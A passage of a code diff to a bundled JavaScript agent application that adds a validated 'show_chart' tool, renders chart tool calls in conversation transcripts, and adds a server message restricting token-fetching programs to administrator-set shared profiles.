63711
+ * Refused rather than padded, and the message says the counts.
63712
+ *
63713
+ * A silently padded series draws a chart that is the right shape and the wrong answer,
63714
+ * and nobody checks a chart against its data — that is what a chart is for. Being told
63715
+ * the two numbers is also what lets the model fix it in one turn.
63716
+ */
63717
+ message: `series "${series.name}" has ${String(series.values.length)} value(s) but there are ${String(spec.categories.length)} categories. They must match exactly \u2014 a chart drawn from misaligned data looks correct and is not.`
63718
+ });
63719
+ }
63720
+ if (series.detail !== void 0 && series.detail.length > series.values.length) {
63721
+ context.addIssue({
63722
+ code: "custom",
63723
+ path: ["series", index, "detail"],
63724
+ message: `series "${series.name}" has more detail entries than values.`
63725
+ });
63726
+ }
63727
+ }
63728
+ if (spec.type === "pie") {
63729
+ if (spec.series.length !== 1) {
63730
+ context.addIssue({
63731
+ code: "custom",
63732
+ path: ["series"],
63733
+ message: "a pie chart takes exactly one series \u2014 use stackedBar or groupedBar for several."
63734
+ });
63735
+ }
63736
+ if (spec.series.some((series) => series.values.some((value) => value < 0))) {
63737
+ context.addIssue({
63738
+ code: "custom",
63739
+ path: ["series"],
63740
+ // A negative slice has no meaning: it cannot be drawn, and drawing its absolute value
63741
+ // would misreport the total every other slice is measured against.
63742
+ message: "a pie chart cannot show negative values."
63743
+ });
63744
+ }
63745
+ }
63746
+ if (spec.type === "stackedBar" && spec.series.some((series) => series.values.some((value) => value < 0))) {
63747
+ context.addIssue({
63748
+ code: "custom",
63749
+ path: ["series"],
63750
+ message: "a stacked bar cannot show negative values \u2014 the segments would overlap rather than stack."
63751
+ });
63752
+ }
63753
+ });
63754
+ function chartTotals(spec) {
63755
+ const series = spec.series.map((entry) => ({
63756
+ name: entry.name,
63757
+ total: entry.values.reduce((sum, value) => sum + value, 0)
63758
+ }));
63759
+ return { series, grand: series.reduce((sum, entry) => sum + entry.total, 0) };
63760
+ }
63761
+
63091
63762
  // ../../packages/core/dist/history/transcript.js
63092
63763
  var CONTROL_TOOLS = /* @__PURE__ */ new Set(["attempt_completion", "ask_followup_question"]);
63093
63764
  function formatToolArguments(raw) {
@@ -63134,6 +63805,11 @@ function toTranscript(messages) {
63134
63805
  }
63135
63806
  for (const toolCall of message3.toolCalls ?? []) {
63136
63807
  const result = resultsByCallId.get(toolCall.id);
63808
+ const asChart = chartFromToolCall(toolCall.name, toolCall.arguments);
63809
+ if (asChart !== void 0) {
63810
+ entries.push(asChart.kind === "chart" ? { kind: "chart", chart: asChart.chart, ...expertInformed ? { expertInformed: true } : {} } : asChart);
63811
+ continue;
63812
+ }
63137
63813
  if (CONTROL_TOOLS.has(toolCall.name)) {
63138
63814
  if (result !== void 0)
63139
63815
  entries.push({ kind: "text", role: "assistant", content: result });
@@ -63159,6 +63835,19 @@ function toTranscript(messages) {
63159
63835
  }
63160
63836
  return entries;
63161
63837
  }
63838
+ function chartFromToolCall(name, rawArguments) {
63839
+ if (name !== "show_chart")
63840
+ return void 0;
63841
+ const parsed = chartSpecSchema.safeParse(decodeArguments(rawArguments));
63842
+ return parsed.success ? { kind: "chart", chart: parsed.data } : { kind: "chartError", message: parsed.error.issues.map((issue2) => issue2.message).join("; ") };
63843
+ }
63844
+ function decodeArguments(raw) {
63845
+ try {
63846
+ return JSON.parse(raw.length > 0 ? raw : "{}");
63847
+ } catch {
63848
+ return raw;
63849
+ }
63850
+ }
63162
63851
 
63163
63852
  // ../../packages/core/dist/history/redactTask.js
63164
63853
  function redactMessage(message3, knownSecrets) {
@@ -63186,6 +63875,29 @@ function redactTask(task, knownSecrets) {
63186
63875
  };
63187
63876
  }
63188
63877
 
63878
+ // ../../packages/core/dist/tools/showChart.js
63879
+ function createShowChartTool() {
63880
+ return {
63881
+ name: "show_chart",
63882
+ // A control tool: it presents, it does not act. Never filtered out by a mode, never gated.
63883
+ group: "always",
63884
+ description: "Draw a chart for the user: bar, stackedBar, groupedBar, line, multiLine or pie. Give `categories` (the x axis, or the pie slice labels) and one or more named `series`, each with one number per category. Use it whenever a set of numbers is easier seen than read \u2014 counts per folder or per day, a value trending over time, a breakdown of a total. Series lengths must match the categories exactly; a mismatch is refused rather than padded, because a chart drawn from misaligned data looks correct and is not. Add `detail` to a series to record what each number is made of (the subjects counted, the files measured) \u2014 the user can then open any point and see what went into it, which is what makes a chart worth drawing rather than a summary that hides the evidence. Say in `note` where the numbers came from and what they leave out.",
63885
+ parametersSchema: chartSpecSchema,
63886
+ async execute(params) {
63887
+ const totals = chartTotals(params);
63888
+ const detailed = params.series.filter((series) => series.detail !== void 0).length;
63889
+ return {
63890
+ content: [
63891
+ `Drew a ${params.type} chart${params.title === void 0 ? "" : ` titled "${params.title}"`} with ${String(params.categories.length)} categor(ies) and ${String(params.series.length)} series.`,
63892
+ ...totals.series.map((entry) => ` ${entry.name}: total ${String(entry.total)}`),
63893
+ detailed === 0 ? "No per-point detail was given, so the user cannot open a point to see what is behind it. Add `detail` when the numbers count things worth naming." : `${String(detailed)} series carr(ies) per-point detail, so the user can open a point and see what went into it.`,
63894
+ "The chart is now in the conversation. Describe what it shows rather than reciting the numbers again \u2014 they are on screen."
63895
+ ].join("\n")
63896
+ };
63897
+ }
63898
+ };
63899
+ }
63900
+
63189
63901
  // ../../packages/core/dist/tools/applyDiff/eol.js
63190
63902
  function detectEol(text) {
63191
63903
  const crlfCount = (text.match(/\r\n/g) ?? []).length;
@@ -63894,6 +64606,7 @@ function createDefaultToolRegistry() {
63894
64606
  registry2.register(executeCommandTool);
63895
64607
  registry2.register(askFollowupQuestionTool);
63896
64608
  registry2.register(createAskUserFormTool());
64609
+ registry2.register(createShowChartTool());
63897
64610
  registry2.register(attemptCompletionTool);
63898
64611
  return registry2;
63899
64612
  }
@@ -64662,6 +65375,15 @@ async function startServer(options) {
64662
65375
  * absent for them rather than a queue they would have to visit to approve themselves.
64663
65376
  */
64664
65377
  ...roles.shared && !isAdminSession(principal) ? {
65378
+ /*
65379
+ * A personal profile may not run a program to fetch its token.
65380
+ *
65381
+ * That would be arbitrary execution as the service account, which §14 says plainly is
65382
+ * the thing locking down configuration does *not* buy you. An administrator can still
65383
+ * set one up as a shared profile, which is where a credential belonging to the server
65384
+ * belongs anyway.
65385
+ */
65386
+ executableAuthRefusal: "A profile that runs a program to fetch its token can only be set up by an administrator on a shared server \u2014 it would run as the account this server runs as. Ask an administrator to add it as a shared profile, or use an API key.",
64665
65387
  submitForReview: async (request) => {
64666
65388
  const queued = await reviews.submit({ ...request, authorId: principal.id, authorName: principal.displayName });
64667
65389
  log(`${principal.displayName} submitted ${request.kind} "${request.name}" for review`);
@@ -65134,7 +65856,7 @@ function openBrowser(url2) {
65134
65856
  const command = process.platform === "win32" ? "cmd" : process.platform === "darwin" ? "open" : "xdg-open";
65135
65857
  const args = process.platform === "win32" ? ["/c", "start", "", url2] : [url2];
65136
65858
  try {
65137
- spawn6(command, args, { detached: true, stdio: "ignore" }).unref();
65859
+ spawn7(command, args, { detached: true, stdio: "ignore" }).unref();
65138
65860
  } catch {
65139
65861
  }
65140
65862
  }